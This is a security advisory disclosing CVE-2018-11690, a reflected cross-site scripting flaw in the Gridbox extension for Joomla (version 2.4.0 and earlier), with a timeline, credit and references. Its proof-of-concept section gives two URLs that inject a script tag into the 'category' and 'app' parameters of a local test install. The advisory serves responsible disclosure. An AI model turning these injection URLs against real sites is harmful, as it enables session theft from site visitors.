Joomla 2.4.0 Gridbox Cross Site Scripting

`I. VULNERABILITY  
-------------------------  
Gridbox extension for Joomla! <= 2.4.0 Reflected Cross Site Scripting (XSS)  
  
II. CVE REFERENCE  
-------------------------  
CVE-2018-11690  
  
III. VENDOR  
-------------------------  
https://extensions.joomla.org/extension/gridbox/  
  
IV. REFERENCES  
-------------------------  
https://vulmon.com/vulnerabilitydetails?qid=CVE-2018-11690  
https://vel.joomla.org/resolved/2155-gridbox-com-gridbox-multiple-vulnerabilities  
  
V. TIMELINE  
-------------------------  
02/04/2018 Vulnerability discovered  
09/04/2018 Vendor contacted  
23/04/2018 Vulnerability fixed  
  
VI. CREDIT  
-------------------------  
Yavuz Atlas of Biznet Bilisim  
http://www.biznet.com.tr/biznet-guvenlik-duyurulari  
  
VII. DESCRIPTION  
-------------------------  
Balbooa Gridbox extension version 2.4.0 and previous versions for  
Joomla! is vulnerable to cross-site scripting. A remote attacker could  
exploit this vulnerability via a crafted URL to execute script in a  
victim's Web browser within the security context of the hosting Web  
site, once the URL is clicked. An attacker could use this  
vulnerability to steal the victim's cookie-based authentication  
credentials  
  
VIII. PROOF OF CONCEPT  
-------------------------  
For category parameter:  
http://localhost:81/bg/Joomla_3.8.5-Stable-Full_Package/index.php?option=com_gridbox&view=pages&app=aaa&category=<script>alert(1)</script>  
  
For app parameter:  
http://localhost:81/bg/Joomla_3.8.5-Stable-Full_Package/index.php?option=com_gridbox&view=pages&app=<script>alert(1)</script>&category=aaa  
`